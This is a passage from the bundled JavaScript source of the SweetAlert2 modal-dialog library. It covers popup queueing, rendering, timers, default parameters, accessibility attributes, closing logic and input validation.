              queueResult.push(result.value);
              step(i + 1, callback);
            } else {
              resetAndResolve(resolve, {
                dismiss: result.dismiss
              });
            }
          });
        } else {
          resetAndResolve(resolve, {
            value: queueResult
          });
        }
      })(0);
    });
  };
  /*
   * Global function for getting the index of current popup in queue
   */

  var getQueueStep = function getQueueStep() {
    return getContainer() && getContainer().getAttribute('data-queue-step');
  };
  /*
   * Global function for inserting a popup to the queue
   */

  var insertQueueStep = function insertQueueStep(step, index) {
    if (index && index < currentSteps.length) {
      return currentSteps.splice(index, 0, step);
    }

    return currentSteps.push(step);
  };
  /*
   * Global function for deleting a popup from the queue
   */

  var deleteQueueStep = function deleteQueueStep(index) {
    if (typeof currentSteps[index] !== 'undefined') {
      currentSteps.splice(index, 1);
    }
  };

  var createStepElement = function createStepElement(step) {
    var stepEl = document.createElement('li');
    addClass(stepEl, swalClasses['progress-step']);
    setInnerHtml(stepEl, step);
    return stepEl;
  };

  var createLineElement = function createLineElement(params) {
    var lineEl = document.createElement('li');
    addClass(lineEl, swalClasses['progress-step-line']);

    if (params.progressStepsDistance) {
      lineEl.style.width = params.progressStepsDistance;
    }

    return lineEl;
  };

  var renderProgressSteps = function renderProgressSteps(instance, params) {
    var progressStepsContainer = getProgressSteps();

    if (!params.progressSteps || params.progressSteps.length === 0) {
      return hide(progressStepsContainer);
    }

    show(progressStepsContainer);
    progressStepsContainer.textContent = '';
    var currentProgressStep = parseInt(params.currentProgressStep === undefined ? getQueueStep() : params.currentProgressStep);

    if (currentProgressStep >= params.progressSteps.length) {
      warn('Invalid currentProgressStep parameter, it should be less than progressSteps.length ' + '(currentProgressStep like JS arrays starts from 0)');
    }

    params.progressSteps.forEach(function (step, index) {
      var stepEl = createStepElement(step);
      progressStepsContainer.appendChild(stepEl);

      if (index === currentProgressStep) {
        addClass(stepEl, swalClasses['active-progress-step']);
      }

      if (index !== params.progressSteps.length - 1) {
        var lineEl = createLineElement(params);
        progressStepsContainer.appendChild(lineEl);
      }
    });
  };

  var renderTitle = function renderTitle(instance, params) {
    var title = getTitle();
    toggle(title, params.title || params.titleText);

    if (params.title) {
      parseHtmlToContainer(params.title, title);
    }

    if (params.titleText) {
      title.innerText = params.titleText;
    } // Custom class


    applyCustomClass(title, params, 'title');
  };

  var renderHeader = function renderHeader(instance, params) {
    var header = getHeader(); // Custom class

    applyCustomClass(header, params, 'header'); // Progress steps

    renderProgressSteps(instance, params); // Icon

    renderIcon(instance, params); // Image

    renderImage(instance, params); // Title

    renderTitle(instance, params); // Close button

    renderCloseButton(instance, params);
  };

  var renderPopup = function renderPopup(instance, params) {
    var popup = getPopup(); // Width

    applyNumericalStyle(popup, 'width', params.width); // Padding

    applyNumericalStyle(popup, 'padding', params.padding); // Background

    if (params.background) {
      popup.style.background = params.background;
    } // Classes


    addClasses(popup, params);
  };

  var addClasses = function addClasses(popup, params) {
    // Default Class + showClass when updating Swal.update({})
    popup.className = "".concat(swalClasses.popup, " ").concat(isVisible(popup) ? params.showClass.popup : '');

    if (params.toast) {
      addClass([document.documentElement, document.body], swalClasses['toast-shown']);
      addClass(popup, swalClasses.toast);
    } else {
      addClass(popup, swalClasses.modal);
    } // Custom class


    applyCustomClass(popup, params, 'popup');

    if (typeof params.customClass === 'string') {
      addClass(popup, params.customClass);
    } // Icon class (#1842)


    if (params.icon) {
      addClass(popup, swalClasses["icon-".concat(params.icon)]);
    }
  };

  var render = function render(instance, params) {
    renderPopup(instance, params);
    renderContainer(instance, params);
    renderHeader(instance, params);
    renderContent(instance, params);
    renderActions(instance, params);
    renderFooter(instance, params);

    if (typeof params.didRender === 'function') {
      params.didRender(getPopup());
    } else if (typeof params.onRender === 'function') {
      params.onRender(getPopup()); // @deprecated
    }
  };

  /*
   * Global function to determine if SweetAlert2 popup is shown
   */

  var isVisible$1 = function isVisible$$1() {
    return isVisible(getPopup());
  };
  /*
   * Global function to click 'Confirm' button
   */

  var clickConfirm = function clickConfirm() {
    return getConfirmButton() && getConfirmButton().click();
  };
  /*
   * Global function to click 'Deny' button
   */

  var clickDeny = function clickDeny() {
    return getDenyButton() && getDenyButton().click();
  };
  /*
   * Global function to click 'Cancel' button
   */

  var clickCancel = function clickCancel() {
    return getCancelButton() && getCancelButton().click();
  };

  function fire() {
    var Swal = this;

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _construct(Swal, args);
  }

  /**
   * Returns an extended version of `Swal` containing `params` as defaults.
   * Useful for reusing Swal configuration.
   *
   * For example:
   *
   * Before:
   * const textPromptOptions = { input: 'text', showCancelButton: true }
   * const {value: firstName} = await Swal.fire({ ...textPromptOptions, title: 'What is your first name?' })
   * const {value: lastName} = await Swal.fire({ ...textPromptOptions, title: 'What is your last name?' })
   *
   * After:
   * const TextPrompt = Swal.mixin({ input: 'text', showCancelButton: true })
   * const {value: firstName} = await TextPrompt('What is your first name?')
   * const {value: lastName} = await TextPrompt('What is your last name?')
   *
   * @param mixinParams
   */
  function mixin(mixinParams) {
    var MixinSwal = /*#__PURE__*/function (_this) {
      _inherits(MixinSwal, _this);

      var _super = _createSuper(MixinSwal);

      function MixinSwal() {
        _classCallCheck(this, MixinSwal);

        return _super.apply(this, arguments);
      }

      _createClass(MixinSwal, [{
        key: "_main",
        value: function _main(params) {
          return _get(_getPrototypeOf(MixinSwal.prototype), "_main", this).call(this, _extends({}, mixinParams, params));
        }
      }]);

      return MixinSwal;
    }(this);

    return MixinSwal;
  }

  /**
   * Show spinner instead of Confirm button
   */

  var showLoading = function showLoading() {
    var popup = getPopup();

    if (!popup) {
      Swal.fire();
    }

    popup = getPopup();
    var actions = getActions();
    var confirmButton = getConfirmButton();
    var loader = getLoader();
    show(actions);
    hide(confirmButton);
    addClass([popup, actions], swalClasses.loading);
    show(loader);
    popup.setAttribute('data-loading', true);
    popup.setAttribute('aria-busy', true);
    popup.focus();
  };

  var RESTORE_FOCUS_TIMEOUT = 100;

  var globalState = {};

  var focusPreviousActiveElement = function focusPreviousActiveElement() {
    if (globalState.previousActiveElement && globalState.previousActiveElement.focus) {
      globalState.previousActiveElement.focus();
      globalState.previousActiveElement = null;
    } else if (document.body) {
      document.body.focus();
    }
  }; // Restore previous active (focused) element


  var restoreActiveElement = function restoreActiveElement() {
    return new Promise(function (resolve) {
      var x = window.scrollX;
      var y = window.scrollY;
      globalState.restoreFocusTimeout = setTimeout(function () {
        focusPreviousActiveElement();
        resolve();
      }, RESTORE_FOCUS_TIMEOUT); // issues/900

      /* istanbul ignore if */

      if (typeof x !== 'undefined' && typeof y !== 'undefined') {
        // IE doesn't have scrollX/scrollY support
        window.scrollTo(x, y);
      }
    });
  };

  /**
   * If `timer` parameter is set, returns number of milliseconds of timer remained.
   * Otherwise, returns undefined.
   */

  var getTimerLeft = function getTimerLeft() {
    return globalState.timeout && globalState.timeout.getTimerLeft();
  };
  /**
   * Stop timer. Returns number of milliseconds of timer remained.
   * If `timer` parameter isn't set, returns undefined.
   */

  var stopTimer = function stopTimer() {
    if (globalState.timeout) {
      stopTimerProgressBar();
      return globalState.timeout.stop();
    }
  };
  /**
   * Resume timer. Returns number of milliseconds of timer remained.
   * If `timer` parameter isn't set, returns undefined.
   */

  var resumeTimer = function resumeTimer() {
    if (globalState.timeout) {
      var remaining = globalState.timeout.start();
      animateTimerProgressBar(remaining);
      return remaining;
    }
  };
  /**
   * Resume timer. Returns number of milliseconds of timer remained.
   * If `timer` parameter isn't set, returns undefined.
   */

  var toggleTimer = function toggleTimer() {
    var timer = globalState.timeout;
    return timer && (timer.running ? stopTimer() : resumeTimer());
  };
  /**
   * Increase timer. Returns number of milliseconds of an updated timer.
   * If `timer` parameter isn't set, returns undefined.
   */

  var increaseTimer = function increaseTimer(n) {
    if (globalState.timeout) {
      var remaining = globalState.timeout.increase(n);
      animateTimerProgressBar(remaining, true);
      return remaining;
    }
  };
  /**
   * Check if timer is running. Returns true if timer is running
   * or false if timer is paused or stopped.
   * If `timer` parameter isn't set, returns undefined
   */

  var isTimerRunning = function isTimerRunning() {
    return globalState.timeout && globalState.timeout.isRunning();
  };

  var defaultParams = {
    title: '',
    titleText: '',
    text: '',
    html: '',
    footer: '',
    icon: undefined,
    iconColor: undefined,
    iconHtml: undefined,
    toast: false,
    animation: true,
    showClass: {
      popup: 'swal2-show',
      backdrop: 'swal2-backdrop-show',
      icon: 'swal2-icon-show'
    },
    hideClass: {
      popup: 'swal2-hide',
      backdrop: 'swal2-backdrop-hide',
      icon: 'swal2-icon-hide'
    },
    customClass: undefined,
    target: 'body',
    backdrop: true,
    heightAuto: true,
    allowOutsideClick: true,
    allowEscapeKey: true,
    allowEnterKey: true,
    stopKeydownPropagation: true,
    keydownListenerCapture: false,
    showConfirmButton: true,
    showDenyButton: false,
    showCancelButton: false,
    preConfirm: undefined,
    confirmButtonText: 'OK',
    confirmButtonAriaLabel: '',
    confirmButtonColor: undefined,
    denyButtonText: 'No',
    denyButtonAriaLabel: '',
    denyButtonColor: undefined,
    cancelButtonText: 'Cancel',
    cancelButtonAriaLabel: '',
    cancelButtonColor: undefined,
    buttonsStyling: true,
    reverseButtons: false,
    focusConfirm: true,
    focusDeny: false,
    focusCancel: false,
    showCloseButton: false,
    closeButtonHtml: '&times;',
    closeButtonAriaLabel: 'Close this dialog',
    loaderHtml: '',
    showLoaderOnConfirm: false,
    imageUrl: undefined,
    imageWidth: undefined,
    imageHeight: undefined,
    imageAlt: '',
    timer: undefined,
    timerProgressBar: false,
    width: undefined,
    padding: undefined,
    background: undefined,
    input: undefined,
    inputPlaceholder: '',
    inputValue: '',
    inputOptions: {},
    inputAutoTrim: true,
    inputAttributes: {},
    inputValidator: undefined,
    validationMessage: undefined,
    grow: false,
    position: 'center',
    progressSteps: [],
    currentProgressStep: undefined,
    progressStepsDistance: undefined,
    onBeforeOpen: undefined,
    onOpen: undefined,
    willOpen: undefined,
    didOpen: undefined,
    onRender: undefined,
    didRender: undefined,
    onClose: undefined,
    onAfterClose: undefined,
    willClose: undefined,
    didClose: undefined,
    onDestroy: undefined,
    didDestroy: undefined,
    scrollbarPadding: true
  };
  var updatableParams = ['allowEscapeKey', 'allowOutsideClick', 'background', 'buttonsStyling', 'cancelButtonAriaLabel', 'cancelButtonColor', 'cancelButtonText', 'closeButtonAriaLabel', 'closeButtonHtml', 'confirmButtonAriaLabel', 'confirmButtonColor', 'confirmButtonText', 'currentProgressStep', 'customClass', 'denyButtonAriaLabel', 'denyButtonColor', 'denyButtonText', 'didClose', 'didDestroy', 'footer', 'hideClass', 'html', 'icon', 'iconColor', 'imageAlt', 'imageHeight', 'imageUrl', 'imageWidth', 'onAfterClose', 'onClose', 'onDestroy', 'progressSteps', 'reverseButtons', 'showCancelButton', 'showCloseButton', 'showConfirmButton', 'showDenyButton', 'text', 'title', 'titleText', 'willClose'];
  var deprecatedParams = {
    animation: 'showClass" and "hideClass',
    onBeforeOpen: 'willOpen',
    onOpen: 'didOpen',
    onRender: 'didRender',
    onClose: 'willClose',
    onAfterClose: 'didClose',
    onDestroy: 'didDestroy'
  };
  var toastIncompatibleParams = ['allowOutsideClick', 'allowEnterKey', 'backdrop', 'focusConfirm', 'focusDeny', 'focusCancel', 'heightAuto', 'keydownListenerCapture'];
  /**
   * Is valid parameter
   * @param {String} paramName
   */

  var isValidParameter = function isValidParameter(paramName) {
    return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  };
  /**
   * Is valid parameter for Swal.update() method
   * @param {String} paramName
   */

  var isUpdatableParameter = function isUpdatableParameter(paramName) {
    return updatableParams.indexOf(paramName) !== -1;
  };
  /**
   * Is deprecated parameter
   * @param {String} paramName
   */

  var isDeprecatedParameter = function isDeprecatedParameter(paramName) {
    return deprecatedParams[paramName];
  };

  var checkIfParamIsValid = function checkIfParamIsValid(param) {
    if (!isValidParameter(param)) {
      warn("Unknown parameter \"".concat(param, "\""));
    }
  };

  var checkIfToastParamIsValid = function checkIfToastParamIsValid(param) {
    if (toastIncompatibleParams.indexOf(param) !== -1) {
      warn("The parameter \"".concat(param, "\" is incompatible with toasts"));
    }
  };

  var checkIfParamIsDeprecated = function checkIfParamIsDeprecated(param) {
    if (isDeprecatedParameter(param)) {
      warnAboutDeprecation(param, isDeprecatedParameter(param));
    }
  };
  /**
   * Show relevant warnings for given params
   *
   * @param params
   */


  var showWarningsForParams = function showWarningsForParams(params) {
    for (var param in params) {
      checkIfParamIsValid(param);

      if (params.toast) {
        checkIfToastParamIsValid(param);
      }

      checkIfParamIsDeprecated(param);
    }
  };



  var staticMethods = /*#__PURE__*/Object.freeze({
    isValidParameter: isValidParameter,
    isUpdatableParameter: isUpdatableParameter,
    isDeprecatedParameter: isDeprecatedParameter,
    argsToParams: argsToParams,
    isVisible: isVisible$1,
    clickConfirm: clickConfirm,
    clickDeny: clickDeny,
    clickCancel: clickCancel,
    getContainer: getContainer,
    getPopup: getPopup,
    getTitle: getTitle,
    getContent: getContent,
    getHtmlContainer: getHtmlContainer,
    getImage: getImage,
    getIcon: getIcon,
    getIcons: getIcons,
    getCloseButton: getCloseButton,
    getActions: getActions,
    getConfirmButton: getConfirmButton,
    getDenyButton: getDenyButton,
    getCancelButton: getCancelButton,
    getHeader: getHeader,
    getFooter: getFooter,
    getTimerProgressBar: getTimerProgressBar,
    getFocusableElements: getFocusableElements,
    getValidationMessage: getValidationMessage,
    isLoading: isLoading,
    fire: fire,
    mixin: mixin,
    queue: queue,
    getQueueStep: getQueueStep,
    insertQueueStep: insertQueueStep,
    deleteQueueStep: deleteQueueStep,
    showLoading: showLoading,
    enableLoading: showLoading,
    getTimerLeft: getTimerLeft,
    stopTimer: stopTimer,
    resumeTimer: resumeTimer,
    toggleTimer: toggleTimer,
    increaseTimer: increaseTimer,
    isTimerRunning: isTimerRunning
  });

  /**
   * Enables buttons and hide loader.
   */

  function hideLoading() {
    // do nothing if popup is closed
    var innerParams = privateProps.innerParams.get(this);

    if (!innerParams) {
      return;
    }

    var domCache = privateProps.domCache.get(this);
    hide(domCache.loader);

    if (innerParams.showConfirmButton) {
      show(domCache.confirmButton);
    } else if (!innerParams.showConfirmButton && !innerParams.showCancelButton) {
      hide(domCache.actions);
    }

    removeClass([domCache.popup, domCache.actions], swalClasses.loading);
    domCache.popup.removeAttribute('aria-busy');
    domCache.popup.removeAttribute('data-loading');
    domCache.confirmButton.disabled = false;
    domCache.denyButton.disabled = false;
    domCache.cancelButton.disabled = false;
  }

  function getInput$1(instance) {
    var innerParams = privateProps.innerParams.get(instance || this);
    var domCache = privateProps.domCache.get(instance || this);

    if (!domCache) {
      return null;
    }

    return getInput(domCache.content, innerParams.input);
  }

  var fixScrollbar = function fixScrollbar() {
    // for queues, do not do this more than once
    if (states.previousBodyPadding !== null) {
      return;
    } // if the body has overflow


    if (document.body.scrollHeight > window.innerHeight) {
      // add padding so the content doesn't shift after removal of scrollbar
      states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue('padding-right'));
      document.body.style.paddingRight = "".concat(states.previousBodyPadding + measureScrollbar(), "px");
    }
  };
  var undoScrollbar = function undoScrollbar() {
    if (states.previousBodyPadding !== null) {
      document.body.style.paddingRight = "".concat(states.previousBodyPadding, "px");
      states.previousBodyPadding = null;
    }
  };

  /* istanbul ignore file */

  var iOSfix = function iOSfix() {
    var iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1;

    if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
      var offset = document.body.scrollTop;
      document.body.style.top = "".concat(offset * -1, "px");
      addClass(document.body, swalClasses.iosfix);
      lockBodyScroll();
      addBottomPaddingForTallPopups(); // #1948
    }
  };

  var addBottomPaddingForTallPopups = function addBottomPaddingForTallPopups() {
    var safari = !navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i);

    if (safari) {
      var bottomPanelHeight = 44;

      if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
        getContainer().style.paddingBottom = "".concat(bottomPanelHeight, "px");
      }
    }
  };

  var lockBodyScroll = function lockBodyScroll() {
    // #1246
    var container = getContainer();
    var preventTouchMove;

    container.ontouchstart = function (e) {
      preventTouchMove = shouldPreventTouchMove(e.target);
    };

    container.ontouchmove = function (e) {
      if (preventTouchMove) {
        e.preventDefault();
        e.stopPropagation();
      }
    };
  };

  var shouldPreventTouchMove = function shouldPreventTouchMove(target) {
    var container = getContainer();

    if (target === container) {
      return true;
    }

    if (!isScrollable(container) && target.tagName !== 'INPUT' && // #1603
    !(isScrollable(getContent()) && // #1944
    getContent().contains(target))) {
      return true;
    }

    return false;
  };

  var undoIOSfix = function undoIOSfix() {
    if (hasClass(document.body, swalClasses.iosfix)) {
      var offset = parseInt(document.body.style.top, 10);
      removeClass(document.body, swalClasses.iosfix);
      document.body.style.top = '';
      document.body.scrollTop = offset * -1;
    }
  };

  /* istanbul ignore file */

  var isIE11 = function isIE11() {
    return !!window.MSInputMethodContext && !!document.documentMode;
  }; // Fix IE11 centering sweetalert2/issues/933


  var fixVerticalPositionIE = function fixVerticalPositionIE() {
    var container = getContainer();
    var popup = getPopup();
    container.style.removeProperty('align-items');

    if (popup.offsetTop < 0) {
      container.style.alignItems = 'flex-start';
    }
  };

  var IEfix = function IEfix() {
    if (typeof window !== 'undefined' && isIE11()) {
      fixVerticalPositionIE();
      window.addEventListener('resize', fixVerticalPositionIE);
    }
  };
  var undoIEfix = function undoIEfix() {
    if (typeof window !== 'undefined' && isIE11()) {
      window.removeEventListener('resize', fixVerticalPositionIE);
    }
  };

  // Adding aria-hidden="true" to elements outside of the active modal dialog ensures that
  // elements not within the active modal dialog will not be surfaced if a user opens a screen
  // reader’s list of elements (headings, form controls, landmarks, etc.) in the document.

  var setAriaHidden = function setAriaHidden() {
    var bodyChildren = toArray(document.body.children);
    bodyChildren.forEach(function (el) {
      if (el === getContainer() || contains(el, getContainer())) {
        return;
      }

      if (el.hasAttribute('aria-hidden')) {
        el.setAttribute('data-previous-aria-hidden', el.getAttribute('aria-hidden'));
      }

      el.setAttribute('aria-hidden', 'true');
    });
  };
  var unsetAriaHidden = function unsetAriaHidden() {
    var bodyChildren = toArray(document.body.children);
    bodyChildren.forEach(function (el) {
      if (el.hasAttribute('data-previous-aria-hidden')) {
        el.setAttribute('aria-hidden', el.getAttribute('data-previous-aria-hidden'));
        el.removeAttribute('data-previous-aria-hidden');
      } else {
        el.removeAttribute('aria-hidden');
      }
    });
  };

  /**
   * This module containts `WeakMap`s for each effectively-"private  property" that a `Swal` has.
   * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')`
   * This is the approach that Babel will probably take to implement private methods/fields
   *   https://github.com/tc39/proposal-private-methods
   *   https://github.com/babel/babel/pull/7555
   * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module*
   *   then we can use that language feature.
   */
  var privateMethods = {
    swalPromiseResolve: new WeakMap()
  };

  /*
   * Instance method to close sweetAlert
   */

  function removePopupAndResetState(instance, container, isToast$$1, didClose) {
    if (isToast$$1) {
      triggerDidCloseAndDispose(instance, didClose);
    } else {
      restoreActiveElement().then(function () {
        return triggerDidCloseAndDispose(instance, didClose);
      });
      globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, {
        capture: globalState.keydownListenerCapture
      });
      globalState.keydownHandlerAdded = false;
    }

    if (container.parentNode && !document.body.getAttribute('data-swal2-queue-step')) {
      container.parentNode.removeChild(container);
    }

    if (isModal()) {
      undoScrollbar();
      undoIOSfix();
      undoIEfix();
      unsetAriaHidden();
    }

    removeBodyClasses();
  }

  function removeBodyClasses() {
    removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses['height-auto'], swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['toast-column']]);
  }

  function close(resolveValue) {
    var popup = getPopup();

    if (!popup) {
      return;
    }

    resolveValue = prepareResolveValue(resolveValue);
    var innerParams = privateProps.innerParams.get(this);

    if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
      return;
    }

    var swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
    removeClass(popup, innerParams.showClass.popup);
    addClass(popup, innerParams.hideClass.popup);
    var backdrop = getContainer();
    removeClass(backdrop, innerParams.showClass.backdrop);
    addClass(backdrop, innerParams.hideClass.backdrop);
    handlePopupAnimation(this, popup, innerParams); // Resolve Swal promise

    swalPromiseResolve(resolveValue);
  }

  var prepareResolveValue = function prepareResolveValue(resolveValue) {
    // When user calls Swal.close()
    if (typeof resolveValue === 'undefined') {
      return {
        isConfirmed: false,
        isDenied: false,
        isDismissed: true
      };
    }

    return _extends({
      isConfirmed: false,
      isDenied: false,
      isDismissed: false
    }, resolveValue);
  };

  var handlePopupAnimation = function handlePopupAnimation(instance, popup, innerParams) {
    var container = getContainer(); // If animation is supported, animate

    var animationIsSupported = animationEndEvent && hasCssAnimation(popup);
    var onClose = innerParams.onClose,
        onAfterClose = innerParams.onAfterClose,
        willClose = innerParams.willClose,
        didClose = innerParams.didClose;
    runDidClose(popup, willClose, onClose);

    if (animationIsSupported) {
      animatePopup(instance, popup, container, didClose || onAfterClose);
    } else {
      // Otherwise, remove immediately
      removePopupAndResetState(instance, container, isToast(), didClose || onAfterClose);
    }
  };

  var runDidClose = function runDidClose(popup, willClose, onClose) {
    if (willClose !== null && typeof willClose === 'function') {
      willClose(popup);
    } else if (onClose !== null && typeof onClose === 'function') {
      onClose(popup); // @deprecated
    }
  };

  var animatePopup = function animatePopup(instance, popup, container, didClose) {
    globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, isToast(), didClose);
    popup.addEventListener(animationEndEvent, function (e) {
      if (e.target === popup) {
        globalState.swalCloseEventFinishedCallback();
        delete globalState.swalCloseEventFinishedCallback;
      }
    });
  };

  var triggerDidCloseAndDispose = function triggerDidCloseAndDispose(instance, didClose) {
    setTimeout(function () {
      if (typeof didClose === 'function') {
        didClose();
      }

      instance._destroy();
    });
  };

  function setButtonsDisabled(instance, buttons, disabled) {
    var domCache = privateProps.domCache.get(instance);
    buttons.forEach(function (button) {
      domCache[button].disabled = disabled;
    });
  }

  function setInputDisabled(input, disabled) {
    if (!input) {
      return false;
    }

    if (input.type === 'radio') {
      var radiosContainer = input.parentNode.parentNode;
      var radios = radiosContainer.querySelectorAll('input');

      for (var i = 0; i < radios.length; i++) {
        radios[i].disabled = disabled;
      }
    } else {
      input.disabled = disabled;
    }
  }

  function enableButtons() {
    setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], false);
  }
  function disableButtons() {
    setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], true);
  }
  function enableInput() {
    return setInputDisabled(this.getInput(), false);
  }
  function disableInput() {
    return setInputDisabled(this.getInput(), true);
  }

  function showValidationMessage(error) {
    var domCache = privateProps.domCache.get(this);
    setInnerHtml(domCache.validationMessage, error);
    var popupComputedStyle = window.getComputedStyle(domCache.popup);
    domCache.validationMessage.style.marginLeft = "-".concat(popupComputedStyle.getPropertyValue('padding-left'));
    domCache.validationMessage.style.marginRight = "-".concat(popupComputedStyle.getPropertyValue('padding-right'));
    show(domCache.validationMessage);
    var input = this.getInput();

    if (input) {
      input.setAttribute('aria-invalid', true);
      input.setAttribute('aria-describedBy', swalClasses['validation-message']);
      focusInput(input);
      addClass(input, swalClasses.inputerror);
    }
  } // Hide block with validation message

  function resetValidationMessage$1() {
    var domCache = privateProps.domCache.get(this);

    if (domCache.validationMessage) {
      hide(domCache.validationMessage);
    }

    var input = this.getInput();

    if (input) {
      input.removeAttribute('aria-invalid');
      input.removeAttribute('aria-describedBy');
      removeClass(input, swalClasses.inputerror);
    }
  }

  function getProgressSteps$1() {
    var domCache = privateProps.domCache.get(this);
    return domCache.progressSteps;
  }

  var Timer = /*#__PURE__*/function () {
    function Timer(callback, delay) {
      _classCallCheck(this, Timer);

      this.callback = callback;
      this.remaining = delay;
      this.running = false;
      this.start();
    }

    _createClass(Timer, [{
      key: "start",
      value: function start() {
        if (!this.running) {
          this.running = true;
          this.started = new Date();
          this.id = setTimeout(this.callback, this.remaining);
        }

        return this.remaining;
      }
    }, {
      key: "stop",
      value: function stop() {
        if (this.running) {
          this.running = false;
          clearTimeout(this.id);
          this.remaining -= new Date() - this.started;
        }

        return this.remaining;
      }
    }, {
      key: "increase",
      value: function increase(n) {
        var running = this.running;

        if (running) {
          this.stop();
        }

        this.remaining += n;

        if (running) {
          this.start();
        }

        return this.remaining;
      }
    }, {
      key: "getTimerLeft",
      value: function getTimerLeft() {
        if (this.running) {
          this.stop();
          this.start();
        }

        return this.remaining;
      }
    }, {
      key: "isRunning",
      value: function isRunning() {
        return this.running;
      }
    }]);

    return Timer;
  }();

  var defaultInputValidators = {
    email: function email(string, validationMessage) {
      return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid email address');
    },
    url: function url(string, validationMessage) {
      // taken from https://stackoverflow.com/a/3809435 with a small change from #1306 and #2013
      return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid URL');
    }
  };

  function setDefaultInputValidators(params) {
    // Use default `inputValidator` for supported input types if not provided
    if (!params.inputValidator) {
      Object.keys(defaultInputValidators).forEach(function (key) {
        if (params.input === key) {
          params.inputValidator = defaultInputValidators[key];
        }
      });
    }
  }

  function validateCustomTargetElement(params) {
    // Determine if the custom target element is valid
    if (!params.target || typeof params.target === 'string' && !document.querySelector(params.target) || typeof params.target !== 'string' && !params.target.appendChild) {
      warn('Target parameter is not valid, defaulting to "body"');
      params.target = 'body';
    }
  }
  /**
   * Set type, text and actions on popup
   *
   * @param params
   * @returns {boolean}
   */


  function setParameters(params) {
    setDefaultInputValidators(params); // showLoaderOnConfirm && preConfirm

    if (params.showLoaderOnConfirm && !params.preConfirm) {
      warn('showLoaderOnConfirm is set to true, but preConfirm is not defined.\n' + 'showLoaderOnConfirm should be used together with preConfirm, see usage example:\n' + 'https://sweetalert2.github.io/#ajax-request');
    } // params.animation will be actually used in renderPopup.js
    // but in case when params.animation is a function, we need to call that function
    // before popup (re)initialization, so it'll be possible to check Swal.isVisible()
    // inside the params.animation function


    params.animation = callIfFunction(params.animation);
    validateCustomTargetElement(params); // Replace newlines with <br> in title

    if (typeof params.title === 'string') {
      params.title = params.title.split('\n').join('<br />');
    }

    init(params);
  }

  var SHOW_CLASS_TIMEOUT = 10;
  /**
   * Open popup, add necessary classes and styles, fix scrollbar
   *
   * @param params
   */

  var openPopup = function openPopup(params) {
    var container = getContainer();
    var popup = getPopup();

    if (typeof params.willOpen === 'function') {
      params.willOpen(popup);
    } else if (typeof params.onBeforeOpen === 'function') {
      params.onBeforeOpen(popup); // @deprecated
    }

    var bodyStyles = window.getComputedStyle(document.body);
    var initialBodyOverflow = bodyStyles.overflowY;
    addClasses$1(container, popup, params); // scrolling is 'hidden' until animation is done, after that 'auto'

    setTimeout(function () {
      setScrollingVisibility(container, popup);
    }, SHOW_CLASS_TIMEOUT);

    if (isModal()) {
      fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
      setAriaHidden();
    }

    if (!isToast() && !globalState.previousActiveElement) {
      globalState.previousActiveElement = document.activeElement;
    }

    runDidOpen(popup, params);
    removeClass(container, swalClasses['no-transition']);
  };

  var runDidOpen = function runDidOpen(popup, params) {
    if (typeof params.didOpen === 'function') {
      setTimeout(function () {
        return params.didOpen(popup);
      });
    } else if (typeof params.onOpen === 'function') {
      setTimeout(function () {
        return params.onOpen(popup);
      }); // @deprecated
    }
  };

  var swalOpenAnimationFinished = function swalOpenAnimationFinished(event) {
    var popup = getPopup();

    if (event.target !== popup) {
      return;
    }

    var container = getContainer();
    popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
    container.style.overflowY = 'auto';
  };

  var setScrollingVisibility = function setScrollingVisibility(container, popup) {
    if (animationEndEvent && hasCssAnimation(popup)) {
      container.style.overflowY = 'hidden';
      popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
    } else {
      container.style.overflowY = 'auto';
    }
  };

  var fixScrollContainer = function fixScrollContainer(container, scrollbarPadding, initialBodyOverflow) {
    iOSfix();
    IEfix();

    if (scrollbarPadding && initialBodyOverflow !== 'hidden') {
      fixScrollbar();
    } // sweetalert2/issues/1247


    setTimeout(function () {
      container.scrollTop = 0;
    });
  };

  var addClasses$1 = function addClasses(container, popup, params) {
    addClass(container, params.showClass.backdrop); // the workaround with setting/unsetting opacity is needed for #2019 and 2059

    popup.style.setProperty('opacity', '0', 'important');
    show(popup);
    setTimeout(function () {
      // Animate popup right after showing it
      addClass(popup, params.showClass.popup); // and remove the opacity workaround

      popup.style.removeProperty('opacity');
    }, SHOW_CLASS_TIMEOUT); // 10ms in order to fix #2062

    addClass([document.documentElement, document.body], swalClasses.shown);

    if (params.heightAuto && params.backdrop && !params.toast) {
      addClass([document.documentElement, document.body], swalClasses['height-auto']);
    }
  };

  var handleInputOptionsAndValue = function handleInputOptionsAndValue(instance, params) {
    if (params.input === 'select' || params.input === 'radio') {
      handleInputOptions(instance, params);
    } else if (['text', 'email', 'number', 'tel', 'textarea'].indexOf(params.input) !== -1 && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
      handleInputValue(instance, params);
    }
  };
  var getInputValue = function getInputValue(instance, innerParams) {
    var input = instance.getInput();

    if (!input) {
      return null;
    }

    switch (innerParams.input) {
